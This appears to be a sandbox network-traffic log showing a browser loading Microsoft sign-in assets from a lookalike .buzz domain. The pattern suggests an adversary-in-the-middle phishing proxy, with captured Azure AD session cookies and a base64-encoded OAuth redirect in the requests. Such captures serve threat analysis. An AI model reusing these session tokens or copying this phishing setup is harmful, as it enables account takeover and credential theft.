Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.6	50009	23.95.206.235	443	7016	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:56:21 UTC	3301	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1 Host: interconnectednessresilient.buzz Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://interconnectednessresilient.buzz/?7bk3o0j2b=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvdjIuMC9hdXRob3JpemU/Y2xpZW50X2lkPTQ3NjU0NDViLTMyYzYtNDliMC04M2U2LTFkOTM3NjUyNzZjYSZyZWRpcmVjdF91cmk9aHR0cHMlM0ElMkYlMkZ3d3cub2ZmaWNlLmNvbSUyRmxhbmRpbmd2MiZyZXNwb25zZV90eXBlPWNvZGUlMjBpZF90b2tlbiZzY29wZT1vcGVuaWQlMjBwcm9maWxlJTIwaHR0cHMlM0ElMkYlMkZ3d3cub2ZmaWNlLmNvbSUyRnYyJTJGT2ZmaWNlSG9tZS5BbGwmcmVzcG9uc2VfbW9kZT1mb3JtX3Bvc3Qmbm9uY2U9NjM4NzI0NjMzNzQ1NTQyMzY0Lll6WTBOREF5WVdFdFkyRXpPUzAwWlRoakxUaGlZMkl0WVdRM05XSTBObVptWXpRM1pHWTNPV1U0WkRjdE5tWmtPQzAwTkRBekxUZ3pNalF0WldWa01qTXpNV05sTnpSaiZ1aV9sb2NhbGVzPWVuLVVTJm1rdD1lbi1VUyZjbGllbnQtcmVxdWVzdC1pZD0xYzkwNjgwMS1kY2I0LTQ5ODItOWUwNi1jNTQzNzRlM2UxZGYmc3RhdGU9Q0c2dmY4QUQ3eGp3aTgtMkNwY2ZFTmZyWE52WGExamJpMXQwbGx4djlqTmc5bnhsZFBTOEYwWUpBN3hidTJlWXlYLVB1MWVkX0lQanpNT2pQc1hOV1BZZVV4cFNSNzZfOWZjVHg5OE5XVWdZRC1mdWtHaWtOUTdSQ1VodFFFMTl3TnF3TkdjQjVZd2hWNHRycnUzVGJzbjlZdjcwNVBYWmJJWHFWbFB6Q2w4NzBmTUFSV0Z4Q1JKQ241enZmMTdwd1Jvb2NvcFBhczhJR2pwV3hLd2J4bmczWHF [TRUNCATED] Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=ecK0wqFiqa5h; qPdM.sig=u72gfGBaoIpRGBdcRDkZXkbESRM; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; OH.DCAffinity=OH-eus; OH.FLID=753f2337-3c17-4548-b06a-e5ac41f3bc6e; .AspNetCore.OpenIdConnect.Nonce.GukXJycHXf-B0eNW-DdKGxGtpRBNqq-ZxjW-hMSZPaKEWV50oJMLfJkYv0bpBCmF9Eh7uDlgYo2kb5DJ88uwMHdxNBS3WeX7IUBvAttGVtil5k-LnQTPcV7jUFZ4xdz87mKs6v2rtBkMrm9Mv6HblymjqBku9u6F1Xda45-f10VMN4RJyZcZLEoxew3XlWWuTqRHZ_vL-a1HUWZjrn2W9kmXgTYMqY67f0VY52WSGqLfsCc-8TpN2bUZ_g592MaH=N; .AspNetCore.Correlation.TvBSmgzc8wfLy9SWKyBBqMAINBKoRois3QicuvRaAPA=N; esctx-YoQmlPl74ok=AQABCQEAAADW6jl31mB3T7ugrWTT8pFev1CIKNLDHzEK5BZYYh6l0ji03u2z7OYHGWahFh9XQmN9j2JgfjTuevFfgnlFHjm7DxnTBebGfGsiA80E87kTDCog1Qs4co_B8fQOisrvgvdhtDYseBAy3yUEEmQU36rybo-4NJydRhRRhMGNZ3W8fCAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.ATcAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAA3AA.AQABGgEAAABVrSpeuWamRam2jAF1XRQEV6blJpo6Gs86EEohfI7teuqd3uhkd915RlLEKBvX-PONr9uEjtcYsPcLcl0v4OUV24ACIa8jLEq1vUf_TbvAC7O60f1uRnWqcsvN3idAyEwgAA; esctx=PAQABBwEAAABVrSpeu [TRUNCATED]
2025-01-14 14:56:21 UTC	744	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 14:56:21 GMT Content-Type: image/x-icon Content-Length: 17174 Connection: close Cache-Control: public, max-age=31536000 Last-Modified: Sun, 18 Oct 2020 03:02:03 GMT ETag: 0x8D8731230C851A6 x-ms-request-id: 34fe3ff0-801e-0075-305b-60a87a000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20250114T145621Z-15d54ff9787gfhmwhC1YTOb0240000000ezg00000000453q x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT Accept-Ranges: bytes
2025-01-14 14:56:21 UTC	15640	IN	Data Raw: 00 00 01 00 06 00 80 80 10 00 00 00 00 00 68 28 00 00 66 00 00 00 48 48 10 00 00 00 00 00 e8 0d 00 00 ce 28 00 00 30 30 10 00 00 00 00 00 68 06 00 00 b6 36 00 00 20 20 10 00 00 00 00 00 e8 02 00 00 1e 3d 00 00 18 18 10 00 00 00 00 00 e8 01 00 00 06 40 00 00 10 10 10 00 00 00 00 00 28 01 00 00 ee 41 00 00 28 00 00 00 80 00 00 00 00 01 00 00 01 00 04 00 00 00 00 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 ba 7f 00 22 50 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 Data Ascii: h(fHH(00h6 =@(A(("P"""""""""""""""""""""""""""""" 333333333333333
2025-01-14 14:56:21 UTC	1534	IN	Data Raw: 01 80 00 00 00 00 28 00 00 00 20 00 00 00 40 00 00 00 01 00 04 00 00 00 00 00 80 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 bc 7b 00 1f 4c f9 00 22 50 f2 00 f7 a6 00 00 00 ba 7f 00 f3 a6 00 00 1e 4e f6 00 23 4e f4 00 f3 a4 00 00 00 bc 7d 00 00 ba 7d 00 00 00 00 00 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 Data Ascii: ( @{L"PN#N}}"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.6	50008	23.95.206.235	443	7016	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:56:21 UTC	3272	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/js/asyncchunk/convergedlogin_pfetchsessionsprogress_ae573f441ee1cf781ec7.js HTTP/1.1 Host: interconnectednessresilient.buzz Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://interconnectednessresilient.buzz/?7bk3o0j2b=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvdjIuMC9hdXRob3JpemU/Y2xpZW50X2lkPTQ3NjU0NDViLTMyYzYtNDliMC04M2U2LTFkOTM3NjUyNzZjYSZyZWRpcmVjdF91cmk9aHR0cHMlM0ElMkYlMkZ3d3cub2ZmaWNlLmNvbSUyRmxhbmRpbmd2MiZyZXNwb25zZV90eXBlPWNvZGUlMjBpZF90b2tlbiZzY29wZT1vcGVuaWQlMjBwcm9maWxlJTIwaHR0cHMlM0ElMkYlMkZ3d3cub2ZmaWNlLmNvbSUyRnYyJTJGT2ZmaWNlSG9tZS5BbGwmcmVzcG9uc2VfbW9kZT1mb3JtX3Bvc3Qmbm9uY2U9NjM4NzI0NjMzNzQ1NTQyMzY0Lll6WTBOREF5WVdFdFkyRXpPUzAwWlRoakxUaGlZMkl0WVdRM05XSTBObVptWXpRM1pHWTNPV1U0WkRjdE5tWmtPQzAwTkRBekxUZ3pNalF0WldWa01qTXpNV05sTnpSaiZ1aV9sb2NhbGVzPWVuLVVTJm1rdD1lbi1VUyZjbGllbnQtcmVxdWVzdC1pZD0xYzkwNjgwMS1kY2I0LTQ5ODItOWUwNi1jNTQzNzRlM2UxZGYmc3RhdGU9Q0c2dmY4QUQ3eGp3aTgtMkNwY2ZFTmZyWE52WGExamJpMXQwbGx4djlqTmc5bnhsZFBTOEYwWUpBN3hidTJlWXlYLVB1MWVkX0lQanpNT2pQc1hOV1BZZVV4cFNSNzZfOWZjVHg5OE5XVWdZRC1mdWtHaWtOUTdSQ1VodFFFMTl3TnF3TkdjQjVZd2hWNHRycnUzVGJzbjlZdjcwNVBYWmJJWHFWbFB6Q2w4NzBmTUFSV0Z4Q1JKQ241enZmMTdwd1Jvb2NvcFBhczhJR2pwV3hLd2J4bmczWHF [TRUNCATED] Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=ecK0wqFiqa5h; qPdM.sig=u72gfGBaoIpRGBdcRDkZXkbESRM; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; OH.DCAffinity=OH-eus; OH.FLID=753f2337-3c17-4548-b06a-e5ac41f3bc6e; .AspNetCore.OpenIdConnect.Nonce.GukXJycHXf-B0eNW-DdKGxGtpRBNqq-ZxjW-hMSZPaKEWV50oJMLfJkYv0bpBCmF9Eh7uDlgYo2kb5DJ88uwMHdxNBS3WeX7IUBvAttGVtil5k-LnQTPcV7jUFZ4xdz87mKs6v2rtBkMrm9Mv6HblymjqBku9u6F1Xda45-f10VMN4RJyZcZLEoxew3XlWWuTqRHZ_vL-a1HUWZjrn2W9kmXgTYMqY67f0VY52WSGqLfsCc-8TpN2bUZ_g592MaH=N; .AspNetCore.Correlation.TvBSmgzc8wfLy9SWKyBBqMAINBKoRois3QicuvRaAPA=N; esctx-YoQmlPl74ok=AQABCQEAAADW6jl31mB3T7ugrWTT8pFev1CIKNLDHzEK5BZYYh6l0ji03u2z7OYHGWahFh9XQmN9j2JgfjTuevFfgnlFHjm7DxnTBebGfGsiA80E87kTDCog1Qs4co_B8fQOisrvgvdhtDYseBAy3yUEEmQU36rybo-4NJydRhRRhMGNZ3W8fCAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.ATcAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAA3AA.AQABGgEAAABVrSpeuWamRam2jAF1XRQEV6blJpo6Gs86EEohfI7teuqd3uhkd915RlLEKBvX-PONr9uEjtcYsPcLcl0v4OUV24ACIa8jLEq1vUf_TbvAC7O60f1uRnWqcsvN3idAyEwgAA; esctx=PAQABBwEAAABVrSpeu [TRUNCATED]
2025-01-14 14:56:21 UTC	1385	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 14:56:21 GMT Content-Type: application/x-javascript content-length: 15748 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Thu, 26 Jan 2023 00:32:55 GMT ETag: 0x8DAFF34DE08B462 x-ms-request-id: fd51770a-101e-0006-7894-66cf44000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20250114T145621Z-15f8c946864j699nhC1YTO5z140000002d5g000000003ny1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';
2025-01-14 14:56:21 UTC	10	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 Data Ascii:
2025-01-14 14:56:21 UTC	5517	IN	Data Raw: ad 5b 7d 77 da c6 d2 ff ff 7e 0a a1 db 43 a4 9b b5 6c da a4 ed c5 55 7d 1c 5e 12 5a 3b 76 0d ee 5b 92 c3 11 68 01 c5 42 52 b5 c2 98 1a be fb f3 9b 5d 09 09 10 d8 e9 73 73 1c 83 76 67 67 67 67 e7 7d e4 e3 ff 54 fe a5 fd 47 3b 7a fe 3f ad db 3b bf e9 69 57 6d ad f7 ae 73 d3 d4 ae f1 f4 87 f6 fe aa d7 69 b4 9e 8f 87 36 a5 ff bd 89 27 b4 91 e7 73 0d 9f 03 47 70 57 0b 03 2d 8c 35 2f 18 86 71 14 c6 4e c2 85 36 c5 ef d8 73 7c 6d 14 87 53 2d 99 70 2d 8a c3 cf 7c 98 08 cd f7 44 82 45 03 ee 87 73 cd 00 ba d8 d5 ae 9d 38 59 68 9d 6b d3 02 7e 0e 6c de d8 0b b0 7a 18 46 0b 7c 9f 24 5a 10 26 de 90 6b 4e e0 4a 6c 3e 1e 02 c1 b5 59 e0 f2 58 9b 4f bc e1 44 bb f4 86 71 28 c2 51 a2 c5 7c c8 bd 7b 6c 22 66 18 df dc 82 69 4e cc 35 c1 13 6d 14 c6 c9 44 d1 61 69 5d 82 4c b1 0a Data Ascii: [}w~ClU}^Z;v[hBR]ssvgggg}TG;z?;iWmsi6'sGpW-5/qN6s\|mS-p-\|DEs8Yhk~lzF\|$Z&kNJl>YXODq(Q\|{l"fiN5mDai]L

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.6	50010	23.95.206.235	443	7016	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:56:21 UTC	3320	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/marching_ants_white_166de53471265253ab3a456defe6da23.gif HTTP/1.1 Host: interconnectednessresilient.buzz Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://interconnectednessresilient.buzz/?7bk3o0j2b=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvdjIuMC9hdXRob3JpemU/Y2xpZW50X2lkPTQ3NjU0NDViLTMyYzYtNDliMC04M2U2LTFkOTM3NjUyNzZjYSZyZWRpcmVjdF91cmk9aHR0cHMlM0ElMkYlMkZ3d3cub2ZmaWNlLmNvbSUyRmxhbmRpbmd2MiZyZXNwb25zZV90eXBlPWNvZGUlMjBpZF90b2tlbiZzY29wZT1vcGVuaWQlMjBwcm9maWxlJTIwaHR0cHMlM0ElMkYlMkZ3d3cub2ZmaWNlLmNvbSUyRnYyJTJGT2ZmaWNlSG9tZS5BbGwmcmVzcG9uc2VfbW9kZT1mb3JtX3Bvc3Qmbm9uY2U9NjM4NzI0NjMzNzQ1NTQyMzY0Lll6WTBOREF5WVdFdFkyRXpPUzAwWlRoakxUaGlZMkl0WVdRM05XSTBObVptWXpRM1pHWTNPV1U0WkRjdE5tWmtPQzAwTkRBekxUZ3pNalF0WldWa01qTXpNV05sTnpSaiZ1aV9sb2NhbGVzPWVuLVVTJm1rdD1lbi1VUyZjbGllbnQtcmVxdWVzdC1pZD0xYzkwNjgwMS1kY2I0LTQ5ODItOWUwNi1jNTQzNzRlM2UxZGYmc3RhdGU9Q0c2dmY4QUQ3eGp3aTgtMkNwY2ZFTmZyWE52WGExamJpMXQwbGx4djlqTmc5bnhsZFBTOEYwWUpBN3hidTJlWXlYLVB1MWVkX0lQanpNT2pQc1hOV1BZZVV4cFNSNzZfOWZjVHg5OE5XVWdZRC1mdWtHaWtOUTdSQ1VodFFFMTl3TnF3TkdjQjVZd2hWNHRycnUzVGJzbjlZdjcwNVBYWmJJWHFWbFB6Q2w4NzBmTUFSV0Z4Q1JKQ241enZmMTdwd1Jvb2NvcFBhczhJR2pwV3hLd2J4bmczWHF [TRUNCATED] Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=ecK0wqFiqa5h; qPdM.sig=u72gfGBaoIpRGBdcRDkZXkbESRM; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; OH.DCAffinity=OH-eus; OH.FLID=753f2337-3c17-4548-b06a-e5ac41f3bc6e; .AspNetCore.OpenIdConnect.Nonce.GukXJycHXf-B0eNW-DdKGxGtpRBNqq-ZxjW-hMSZPaKEWV50oJMLfJkYv0bpBCmF9Eh7uDlgYo2kb5DJ88uwMHdxNBS3WeX7IUBvAttGVtil5k-LnQTPcV7jUFZ4xdz87mKs6v2rtBkMrm9Mv6HblymjqBku9u6F1Xda45-f10VMN4RJyZcZLEoxew3XlWWuTqRHZ_vL-a1HUWZjrn2W9kmXgTYMqY67f0VY52WSGqLfsCc-8TpN2bUZ_g592MaH=N; .AspNetCore.Correlation.TvBSmgzc8wfLy9SWKyBBqMAINBKoRois3QicuvRaAPA=N; esctx-YoQmlPl74ok=AQABCQEAAADW6jl31mB3T7ugrWTT8pFev1CIKNLDHzEK5BZYYh6l0ji03u2z7OYHGWahFh9XQmN9j2JgfjTuevFfgnlFHjm7DxnTBebGfGsiA80E87kTDCog1Qs4co_B8fQOisrvgvdhtDYseBAy3yUEEmQU36rybo-4NJydRhRRhMGNZ3W8fCAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.ATcAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAA3AA.AQABGgEAAABVrSpeuWamRam2jAF1XRQEV6blJpo6Gs86EEohfI7teuqd3uhkd915RlLEKBvX-PONr9uEjtcYsPcLcl0v4OUV24ACIa8jLEq1vUf_TbvAC7O60f1uRnWqcsvN3idAyEwgAA; esctx=PAQABBwEAAABVrSpeu [TRUNCATED]
2025-01-14 14:56:21 UTC	735	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 14:56:21 GMT Content-Type: image/gif Content-Length: 2672 Connection: close Cache-Control: public, max-age=31536000 Last-Modified: Fri, 17 Jan 2020 19:28:37 GMT ETag: 0x8D79B83739984DD x-ms-request-id: 53073ec9-301e-003e-5794-666b84000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20250114T145621Z-175dd4d5677hmmfghC1MNZ14g8000000057000000000536q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-01-14 14:56:21 UTC	2672	IN	Data Raw: 47 49 46 38 39 61 60 01 03 00 f0 00 00 ff ff ff 96 96 96 21 ff 0b 4e 45 54 53 43 41 50 45 32 2e 30 03 01 00 00 00 21 f9 04 09 05 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 36 84 1d a9 b7 07 ed 50 8a 6c d2 8b b3 de bc fb 0f 86 e2 48 96 e6 89 a2 0a 04 49 01 d6 3a 71 4a d7 f6 8d e7 fa ce 6b ab f5 00 ba 60 42 59 b1 87 4c 2a 97 cc 26 af 00 00 21 f9 04 09 05 00 00 00 2c 06 00 00 00 30 00 03 00 00 02 1a 8c 01 16 88 ca ec 1e 3c f2 a9 18 1b b5 5b e6 9a 5c 4b 38 6a e5 74 72 a9 67 14 00 21 f9 04 09 03 00 00 00 2c 07 00 00 00 33 00 03 00 00 02 1a 8c 81 16 c8 ca ef 5e 3b 12 2a 0a e2 5c 55 4b df 5d 5c 86 25 e5 56 99 63 aa 14 00 21 f9 04 09 05 00 00 00 2c 0a 00 00 00 37 00 03 00 00 02 1a 8c 81 60 91 b9 ed 0e 6c 6f c6 c5 ee ac 90 5b bf 61 19 02 2a 52 77 7e 69 18 14 00 21 Data Ascii: GIF89a`!NETSCAPE2.0!,`6PlHI:qJk`BYL&!,0<[\K8jtrg!,3^;\UK]\%Vc!,7`lo[a*Rw~i!

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.6	50016	23.95.206.235	443	7016	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:56:22 UTC	3315	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg HTTP/1.1 Host: interconnectednessresilient.buzz Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://interconnectednessresilient.buzz/?7bk3o0j2b=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvdjIuMC9hdXRob3JpemU/Y2xpZW50X2lkPTQ3NjU0NDViLTMyYzYtNDliMC04M2U2LTFkOTM3NjUyNzZjYSZyZWRpcmVjdF91cmk9aHR0cHMlM0ElMkYlMkZ3d3cub2ZmaWNlLmNvbSUyRmxhbmRpbmd2MiZyZXNwb25zZV90eXBlPWNvZGUlMjBpZF90b2tlbiZzY29wZT1vcGVuaWQlMjBwcm9maWxlJTIwaHR0cHMlM0ElMkYlMkZ3d3cub2ZmaWNlLmNvbSUyRnYyJTJGT2ZmaWNlSG9tZS5BbGwmcmVzcG9uc2VfbW9kZT1mb3JtX3Bvc3Qmbm9uY2U9NjM4NzI0NjMzNzQ1NTQyMzY0Lll6WTBOREF5WVdFdFkyRXpPUzAwWlRoakxUaGlZMkl0WVdRM05XSTBObVptWXpRM1pHWTNPV1U0WkRjdE5tWmtPQzAwTkRBekxUZ3pNalF0WldWa01qTXpNV05sTnpSaiZ1aV9sb2NhbGVzPWVuLVVTJm1rdD1lbi1VUyZjbGllbnQtcmVxdWVzdC1pZD0xYzkwNjgwMS1kY2I0LTQ5ODItOWUwNi1jNTQzNzRlM2UxZGYmc3RhdGU9Q0c2dmY4QUQ3eGp3aTgtMkNwY2ZFTmZyWE52WGExamJpMXQwbGx4djlqTmc5bnhsZFBTOEYwWUpBN3hidTJlWXlYLVB1MWVkX0lQanpNT2pQc1hOV1BZZVV4cFNSNzZfOWZjVHg5OE5XVWdZRC1mdWtHaWtOUTdSQ1VodFFFMTl3TnF3TkdjQjVZd2hWNHRycnUzVGJzbjlZdjcwNVBYWmJJWHFWbFB6Q2w4NzBmTUFSV0Z4Q1JKQ241enZmMTdwd1Jvb2NvcFBhczhJR2pwV3hLd2J4bmczWHF [TRUNCATED] Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=ecK0wqFiqa5h; qPdM.sig=u72gfGBaoIpRGBdcRDkZXkbESRM; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; OH.DCAffinity=OH-eus; OH.FLID=753f2337-3c17-4548-b06a-e5ac41f3bc6e; .AspNetCore.OpenIdConnect.Nonce.GukXJycHXf-B0eNW-DdKGxGtpRBNqq-ZxjW-hMSZPaKEWV50oJMLfJkYv0bpBCmF9Eh7uDlgYo2kb5DJ88uwMHdxNBS3WeX7IUBvAttGVtil5k-LnQTPcV7jUFZ4xdz87mKs6v2rtBkMrm9Mv6HblymjqBku9u6F1Xda45-f10VMN4RJyZcZLEoxew3XlWWuTqRHZ_vL-a1HUWZjrn2W9kmXgTYMqY67f0VY52WSGqLfsCc-8TpN2bUZ_g592MaH=N; .AspNetCore.Correlation.TvBSmgzc8wfLy9SWKyBBqMAINBKoRois3QicuvRaAPA=N; esctx-YoQmlPl74ok=AQABCQEAAADW6jl31mB3T7ugrWTT8pFev1CIKNLDHzEK5BZYYh6l0ji03u2z7OYHGWahFh9XQmN9j2JgfjTuevFfgnlFHjm7DxnTBebGfGsiA80E87kTDCog1Qs4co_B8fQOisrvgvdhtDYseBAy3yUEEmQU36rybo-4NJydRhRRhMGNZ3W8fCAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.ATcAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAA3AA.AQABGgEAAABVrSpeuWamRam2jAF1XRQEV6blJpo6Gs86EEohfI7teuqd3uhkd915RlLEKBvX-PONr9uEjtcYsPcLcl0v4OUV24ACIa8jLEq1vUf_TbvAC7O60f1uRnWqcsvN3idAyEwgAA; esctx=PAQABBwEAAABVrSpeu [TRUNCATED]
2025-01-14 14:56:23 UTC	780	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 14:56:23 GMT Content-Type: image/svg+xml Content-Length: 1435 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Fri, 17 Jan 2020 19:28:38 GMT ETag: 0x8D79B8373CB2849 x-ms-request-id: 2e6a48d8-701e-001b-3294-668aea000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20250114T145622Z-15d54ff9787bv2q8hC1YTOyqs00000000fkg0000000031k3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-01-14 14:56:23 UTC	1435	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 bd 57 4d 6f 1c 37 0c fd 2b 8b ed 75 56 96 48 4a a2 0a db 80 7b f2 c1 be fa 90 db b6 b1 b3 06 ec 26 88 17 76 fa ef fb 28 51 b3 46 91 a2 c9 a5 b0 f7 61 57 1c 51 fc 7c e2 9c bf bc 7e da 7c 7b 7e fa f3 e5 62 7b 38 1e bf fc 7a 76 f6 f6 f6 16 de 38 7c fe fa e9 8c 62 8c 67 78 62 bb 79 7b fc 78 3c 5c 6c 53 d4 ed e6 70 ff f8 e9 70 bc d8 92 6c 37 af 8f f7 6f bf 7d fe 76 b1 8d 9b b8 81 74 83 c5 cb f3 e3 e3 f1 e9 fe 72 ff f2 72 7f 7c 39 3f 1b bf ce bf ec 8f 87 cd c7 8b ed ad 48 50 2e 8b 84 72 97 34 c8 61 47 41 ee 6a c8 ca d7 82 af 37 ac 21 a5 b6 98 ec 9a 4b c8 9c 6e 98 42 12 5a fa 43 87 5d 88 d4 fa d6 6b 6a a1 dd 41 d1 81 83 70 b9 e1 1a 78 49 a6 fe 10 62 d6 1b 49 21 4b b6 93 3e 3c d3 92 42 94 b6 4f 81 8a 2e 03 